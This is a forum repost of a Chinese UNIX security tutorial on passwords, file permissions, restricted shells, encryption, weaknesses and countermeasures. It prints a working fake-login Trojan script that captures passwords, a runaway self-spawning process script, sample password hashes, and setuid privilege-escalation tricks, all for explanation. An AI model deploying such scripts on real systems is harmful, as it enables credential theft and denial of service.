望麓自卑—湖南大学最具潜力的校园传媒

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 1267|回复: 1

[资源共享] UNIX的安全点滴

[复制链接]
发表于 2005-6-8 12:41:42 | 显示全部楼层 |阅读模式
(转载)

本文首先讨论了UNIX系统的一些安全保护机制: 1.注册标识和口令是UNIX
系统安全性方法的核心; 2.文件安全是操作系统安全最重要的部分, UNIX系统
的每一文件都有一系列控制信息决定了不同的用户对该文件的访问权限; 3.约
束SHELL规定标准SHELL的一些命令无效, 如改变路径和重定向命令无效; 4.文
件加密是保护用户重要文件不被他人盗取的一种必要手段.

然后探讨了一些不安全的因素: 1.口令, 非法用户可通过未使用口令或口
令泄密了的用户注册标识进入系统, 或者编写口令猜测程序获取其他用户甚至
超级用户口令, 从而读取或破坏用户文件; 2.文件, 设置了不正确权限的文件
是不安全的一个重要因素; 3.特洛伊木马, 是获取系统特权和用户口令的一种
有效方法, 也许是最隐蔽的不安全因素; 4.设备特殊文件, 包括块设备和字符
设备; 5.网络, 由于历史的原因, 它可能是UNIX系统中最不安全的部分; 6.其
它, 如邮件, 后台命令, 任务调度和游戏等.

最后提出了系统管理员和用户必须采取的一些安全措施.



UNIX系统安全




UNIX系统是为支持多用户而设计的, 故为多用户提供了访问机器的多种途
径, 同时也为用户之间和多机之间通信提供了多种工具, 然而在当今世界上出
于各种目的, 未授权人员常常打入计算机系统. 当我们越来越依赖于UNIX机器
以及机器中的文件和数据时, 系统安全性也随之变得越来越重要, 虽然可以采
取措施阻止非法访问, 但是一种复杂操作系统的自然趋势是时间越久安全性越
差, 我们必须警惕安全性缺陷, 及时堵塞漏洞, 保护系统. 下面首先讨论UNIX
的安全保护机制, 然后探讨一些不安全的因素, 最后提出相应的安全措施.



I. UNIX的安全保护机制

UNIX系统最初是为完全共享机器的小单位设计的, 没有严格限制任何用户
对其他用户的文件命令的访问, 甚至对访问UNIX系统正常工作所需要的最敏感
数据也不加限制. 随着时间的推移, 人们对安全性的看法发生了根本性的变化.
现代UNIX系统和多数操作系统一样可靠. 如注册标识和口令, 文件权限及约束
SHELL等保护机制的综合运用, 有效地保护了整个系统的安全.


1. 注册标识和口令

UNIX系统中, 安全性方法的核心是每个用户的注册标识(loginid)和口令
(password). 要成功注册进入UNIX系统, 必须打入有效的用户标识, 一般还必
须输入正确的口令. 口令是以加密形式存放在/etc/passwd文件中, 每个用户
占一行, 另外几个系统正常工作所必需的标准系统标识也占一行. 每行由几个
以冒号(分隔的域组成: 域1是用户标识, 域2是口令, 域3是用户标识数, 域
4是用户组标识, 域5是注释, 域6是用户主目录, 最后一个域是用户注册shell
的路径全名(缺省为/bin/sh).

%cat/etc/passws
root:Y0q0Fr68KMP8U:0:1:'[]':/:/bin/csh
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
sync::1:1::/:/bin/sync
wwm:66XGDZDOR4Fjq:349:349:Wei wei ming:/pc/wwm:/bin/csh
+::0:0:::

早期UNIX版本中, 域2以加密形式放置用户的实际口令. 而SVR3的近期版
本却引入了一个仅含加密后口令的文件即/etc/shadow. 它存放每个用户的标
识及加密后的口令, 描述最后一次修改口令的时间, 允许修改口令的最早期限
和必须修改口令的最晚期限. /etc/shadow中的行与/etc/passwd中的行对应.
/etc/shadow文件由命令pwconv生成. 手工修改/etc/passwd文件后, 必须立即
运行pwconv, 保证/etc/shadow按照刚进行过的修改更新. 只有超级用户可对
/etc/passwd和/etc/shadow进行修改.
另外, 有些UNIX版本还显示最近一次使用用户标识的情况. 注册时显示:

login : wwm
password:

Login last used : Fri Aug 7 22:24:41 CDT 1993

如果显示时间晚于用户记忆中自己最近使用的时间, 则该标识就被别人占
用过了, 该用户应立即修改口令.
命令passwd改变口令, 一个口令至少要有6个字符长, 其中至少一个(最好
两个)是非字母符号, 最好大小写混用和采用超常或非直觉字符序列, 不能容
忍的平凡口令是用户的注册标识, 工程项目名, 地名或电话号码等.


2. 文件权限

文件安全是操作系统安全最重要的部分, UNIX系统每一文件都有一系列控
制信息决定了不同的用户对该文件的访问权限. 下面是文件的权限位格式:

U G T R W X/S R W X/S R W X/S
| | | 用户 同组 其他
调 调 粘
整 整 着 R: 读 W: 写 X/S : 执行/搜索
主 组 位

它们由四个八进制数组成: 第一个八进制数是调整uid位, 调整gid位和粘
着位, 后面三个八进制数分别表示文件所有者, 同组用户和其他用户对该文件
的访问权限. 下面是命令ls -l的输出形式:

drwxr-sr-x 3 root 512 Oct 14 1990 nserve
-rw-r--r-- 1 root 1145 Oct 14 1990 aliases
lrwxrwxrwx 1 root 10 Apr 27 14:18 adm->../var/adm
srw-rw-rw- 1 root 0 Apr 12 06:42 log
brw-rw-rw- 1 root 16, 0 Apr 27 14:47 fd0a
crw-rw-rw- 1 root 13, 0 Apr 27 14:47 mouse

命令ls-l输出的左边给出了文件的访问权限或称访问方式, 其中最左边位
含义为:

- 说明为普通文件
l 说明为链接文件
d 说明为目录
p 先进先出特别文件
b 说明为块特别设备文件
c 说明为字符特别设备文件

系统提供了专门处理文件和目录的所属关系和访问权限问题几个命令:

chown: 可以将文件所属转让
chgrp: 改变文件所属小组
chmod: 改变文件访问权限


3. 约束shell

标准shell提供用户许多功能, 如用户可在文件系统中漫游等, 然而几乎
所有UNIX系统都提供另一个称为rsh的shell, rsh是标准shell的一个子集:

. rsh规定目录改变命令无效
. 包含字符\"/\", \">\"和\">>\"的命令无效
. 不能改变文件路径变量$PATH的值等

但当rsh的用户在运行一个shell程序时, rsh将调用标准shell全权执行程
序中的所有命令, 这时上述rsh的限制将不起作用. 因此, 更灵活的限制手段
是由系统管理员编制一个专用的shell程序, 取代标准shell程序, 用户注册后
即进入该shell, 程序执行终了时立即自动退出系统, 从而达到对一些用户进行
严格管理和限制的目的.


4. 文件加密

正确的文件权限能限制非法用户对文件的访问, 但不能排除一些高明的入
侵者和超级用户读取文件.
ed, vi和emacs这类编辑程序选项-x提供一种生成并加密文件的能力, 在
装入时对文件解密, 回写时再加密.
UNIX系统还提供加密解密过滤程序crypt, 该命令从标准输入读, 向标准
输出写. 有的系统还提供DES命令, 遗憾的是人们对UNIX的加密算法了解太深,
有一种打破crypt的程序是分析普通英语文本中和加密文件中字符的出现频率,
因此, 过分相信文件加密是危险的, 但我们可以在加密前用另一个过滤程序改
变字符出现的频率, 如用pack:

%pack example.txt
%cat example.txt.z | crypt >out.file

解密时要扩张(unpack)这一文件, 另外压缩后通常可节约占原文件20%到
40%的空间.

%cat out.file | crypt >example.txt.z
%unpack example.txt.z

当然, 将文件写软盘或磁带上, 删除机器中的原文件, 妥善保管磁介质是
最保险的方法.



II. 不安全的因素

前面我们讨论了UNIX的安全保护机制, 这些机制是有效的, 但并非是十分
安全的, 关键是系统管理员和用户没有合理地运用这些机制.


1. 口令

由于UNIX允许用户不设置口令, 因而非法用户可通过/etc/passwd文件查
出未使用口令的用户(或者即使设置了口令, 却泄露了出去), 盗用其名进入系
统, 读取或破坏该用户的文件.
另外就是口令猜测程序了, 入侵者不断地输入可能的口令(或者由程序产
生), 进行加密并和/etc/passwd文件中的口令密文比较, 直到成功地获得某一
用户的口令为止. 虽然这比较费时, 但由于用户在选择口令时的局限性, 成功
的例子还是很多的.


2. 文件

我们正确设置文件权限, 某些设置可以增加文件的不安全因素, 让我们看
几个设置了不正确权限的文件的例子:

-rwxrwxrwx 1 root 1496 Oct 14 1990 /bin/tty
drwxrwxrwx 7 bin 2048 Aug 7 07:57 etc
-rwsrwxrwx 1 root 8832 Oct 14 1990 /bin/df

命令/bin/tty任何用户都有写许可, 意谓着谁都可以直接修改此命令或用
另一文件替换此命令, 这往往会造成严重的后果.
目录/etc对所有用户有写许可, 则任意用户可修改或替换该目录下的passwd
文件, 可以使超级用户没有口令, 从而以特权身份侵入系统.
/bin/df是调整uid的, 对该命令有写许可, 则用户可以用/bin/sh替换此df
命令, 然后执行(实际是/bin/sh)即获得超级用户特权.
从以上例子可看出, 文件的写权限往往是不安全的因素, 对于目录和使用
调整位的文件来说更是危险.


3. 特洛伊木马

也许最隐蔽的不安全因素是特洛伊木马, 它是获得系统特权和用户口令的
一种有效方法. 让我们看下面例子:

#! /bin/sh
# trap V1.o 1992.3.28
# Function: Get the other user's password
# Usage: trap pid
if [ $# -ne 2 ]; then
echo \"ERROR: invalid numbers of arguments\"
echo \"Usage: trap pid\"
exit 1
fi
clear
# change interrupt character. The default is DEL.
stty instr +
while [ 1]
do
echo -n \":V& login: \"
read username
if[ \"$username\" != \"\" ]; then
break
fi
done
stty -echo
echo -n \"assword: \"
read passwd
echo \"\"
echo $username $passwd >> /f/wwm/tmp/login
sleep 1
echo \"Login incorrect\"
stty echo
# reset default interrupt character DEL (^?).
stty intr
# logout yourself username.
kill -9 $1
# OK.

上面的shell程序伪装成录入程序, 非法用户在某终端上运行该程序后走
开, 等待受骗者的到来, 就可轻易窃走该用户的口令.
另外一些常见的情形是侵入者在某用户的一个目录下植入洛伊木马程序,
一旦该用户在此目录下执行此程序, 侵入者便可以获取该用户权限, 进而破坏
用户文件, 如伪装的pwd命令, ls命令和su命令等.


4. 设备特殊文件

UNIX系统的两类设备(块设备和字符设备)被当作文件看待, 称为特别文件,
都在/dev目录下, 对于特别文件的访问, 事实上就访问了物理设备. 这些特别
文件是系统安全的一个重要方面.

1) 内存
对物理内存和系统虚空间, System V 提供了相应的文件/dev/mem和/dev/kmem,
mem是内存映象的一个特别文件, 它可以用于检验(甚至修补)系统. 若该文件用
户可改写, 则可在其中植入洛伊木马或通过读取和改写主存内容而窃取系统特权.

2) 块设备
由于文件系统的操作自然牵涉到块设备的读写, UNIX System V对块设备
的管理分为三层, 最高层是与文件系统的接口, 包括块设备的各种读写操作.
例如磁盘, 如果一旦对盘有访问权限, 就可以修改其上的文件, UNIX允许安装
不同的盘作为文件系统, 非法用户可以通过安装自己的软盘作为文件系统, 而
其软盘上有修改后的系统文件, 如一些属于root的setuid程序, 这样他就可以
安装自己的文件系统, 执行非法的setuid程序, 获取更高的特权.

3) 字符设备
例如终端设备, 在UNIX中, 每个用户都通过终端进入系统, 用户对其录入
的终端有读写权限. 由于UNIX对文件权限的检查往往只在打开操作(open系统
调用)时进行, 其后的操作往往不再检查, 因此某些用户进入系统后可以编写
一监测程序, 读取其后用户录入该终端的输入信息.


5. 网络

UNIX的网络程序主要是uucp(UNIX to UNIX copy), uucp可以在UNIX系统
之间传输文件和远程执行命令. 由于历史的原因, 它可能是UNIX系统中最不安
全的部分.
一种情况是用户可以使用uucp复制远程系统的/etc/passwd文件, 查出未
使用口令的用户, 从而通过该用户进入远程系统; 另一种情形是在uucp机制中
未加密的远程uucp号的口令存在一个普通系统文件/usr/lib/uucp/L.sys中,
非法用户在窃取root权限后通过读取该文件而获得每一远程uucp帐号的口令,
进而破坏远程系统.


6. 其它

1) 邮件
在BSD, SUNOS等版本中, 实用程序/bin/mail首先调用mktemp()得到临时
文件, 然后判断是发信还是读信. mail进程在得到文件名后打开文件写以前,
mail进程可能会因为时间片用完而被迫放弃CPU, 这时其它进程占据CPU后,
可将某些重要的系统文件与临时文件链接, 等到mail再次运行时, 它要写入的
临时文件实际上已变成系统文件(如/etc/passwd), 这样就可轻易篡改系统文件.

2) 后台命令
shell提供操作符&使用户在后台运行命令, UNIX系统允许用户建任意多个
后台进程, 直到系统核心内部说明的最大值, 但远未达到这一极限之时, 系统
性能即开始受损. 遗憾的是, 很多UNIX版本的ps命令不能很好地反映后台进程
的状态. 下面是一个非常简单的shell程序:

% cat call-self
call-self
% call-self &

投入后台方式运行后, 将产生永无休止的进程, 即使是root也无法用kill
命令终止它, 只有直至系统崩溃. 如果按如下方式运行, 情况又将如何?

% cat call-self
call-self &
% call-self &

3) 任务调度
为使多进程都能够公平访问机器的单CPU, 操作系统内的分时机构必须在
某一进程耗尽应分享的CPU资源后切换至另一进程, UNIX提供了计时和调度工
具, 如at和batch命令. 如果对授权用户清单文件/usr/lib/cron下的at.allow
和at.deny文件权限设置不对, 未授权用户可能就会对系统造成极大的破坏.
另外, 还有如游戏, 很多游戏程序产生一些中间文件, 有些病毒程序和入
侵者就可能会从这些文件侵入. 因此, 我们也必须对游戏提高警惕.



III. 安全措施

保护系统安全需要多方面的努力, 首先系统设计人员不断增强操作系统的
安全性, 增加安全性检查, 提供更安全的系统版本和更多的安全检测工具; 其
次, 系统管理员和用户都必须明确自己的职责, 共同保证系统安全.


1. 系统管理员

系统管理员担负着维护整个系统安全的重要使命, 必须谨慎地管理系统:

1) 正确设置系统文件和系统目录的访问权限
2) 选择root口令, 并定期更换. 认真确定root用户组权限, 制止不合法
用户申请帐号
3) 经常检查sulog文件, 查找可能的入侵者踪迹
4) 检查/usr/lib/crontab文件内容, 防止有人蓄意破坏文件系统或埋植
特洛伊木马
5) 仔细认可用户安装自己的文件系统
6) 对于网络环境:
. 防止信息内容泄露
. 防止通信量分析
. 检查信息源的修改
. 检查设备错误
. 检查连接请求的冒充

2. 用户

用户要保证自己的信息, 必须充分正确地运用安全保护机制:

1) 选择好口令, 并保存好, 定期更换
2) 仔细设置.profile, umask和PATH
3) 对重要正文使用加密, 并做好备份
4) 在通过终端录入系统时, 最好先清一下终端, 防止有诈
5) 离开终端时, 一定要退出系统






参考文献:

[1] Stephen Coffin, UNIX使用大全, 电子工业出版社, 1991
[2] 艾瑞云, 计算机操作系统安全问题, 计算机世界报, 1992.3.4
[3] 朱鲁华, UNIX安全浅谈, 计算机世界报, 1990.12.5
[4] 周尚德, UNIX的一个漏洞及分析, 电脑应用时代, 1992.1
[5] 郭伟坚, 几种UNIX文件的安全保密方法, 计算机世界报, 1990.12.5
[6] SUN microsystems, SunOS Reference Manual, 1991
[7] 胡希明等, UNIX结构分析, 浙江大学出版社, 1991.2
发表于 2005-6-9 01:44:48 | 显示全部楼层
一篇挺不错的UNIX安全入门文章
您需要登录后才可以回帖 登录 | 注册

本版积分规则

关闭

每日推荐上一条 /1 下一条

小黑屋|手机版|湖南大学望麓自卑校园传媒 ( 湘ICP备14014987号 )

GMT+8, 2024-11-30 20:17 , Processed in 0.065964 second(s), 17 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表